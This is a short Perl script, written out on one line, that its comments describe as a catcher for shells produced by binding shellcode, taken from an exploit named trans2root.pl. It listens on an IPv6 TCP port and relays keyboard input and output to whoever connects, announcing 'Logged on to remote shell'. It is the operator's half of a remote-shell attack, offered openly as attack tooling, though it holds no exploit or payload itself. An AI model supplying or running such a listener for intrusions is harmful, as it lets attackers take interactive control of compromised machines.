#!/usr/bin/perl #Get shell produced by binding shell code #Shell is ripped from trans2root.pl if(!$ARGV[0]){ print "Usage : run \n"; exit; } use IO::Socket::INET6; use IO::Select; use IO::Socket; use POSIX; $SIG{INT}=$SIG{TERM}=\&Interupted; sub Interupted { print "Terminating by CTRL+C\n"; exit(0); } sub Unblock { my $fd = shift; my $flags; $flags = fcntl($fd,F_GETFL,0) || die "Can't get flags for file handle: $!\n"; fcntl($fd, F_SETFL, $flags|O_NONBLOCK) || die "Can't make handle nonblocking: $!\n"; } sub Shell { my ($s) = @_; my $sel = IO::Select->new(); Unblock(*STDIN); Unblock(*STDOUT); Unblock($s); select($s); $|++; select(STDIN); $|++; select(STDOUT); $|++; $sel->add($s); $sel->add(*STDIN); while(fileno($s)){ my $fd; my @fds = $sel->can_read(0.2); foreach $fd (@fds){ my @in = <$fd>; if(! scalar(@in)) { next; } if(! $fd || ! $s){ print "[*] Closing connection\n"; close($s); exit(0); } #End of if if($fd eq $s){ print STDOUT join("", @in); }else{ print $s join("", @in); } #End of if else } #End of foreach } #End of while close($s); exit(0); } #End of shell my $s6 = IO::Socket::INET6->new( ReuseAddr => 1, Listen => 1, LocalPort => $ARGV[0], Domain => AF_INET6, Proto => 'tcp') or die "$!:"; while($t=$s6->accept()){ print "Got connection from " . $t->peerhost . "\n"; print "Logged on to remote shell\n"; print "Press CTRL+C to log off!\n"; Shell($t); close($t); }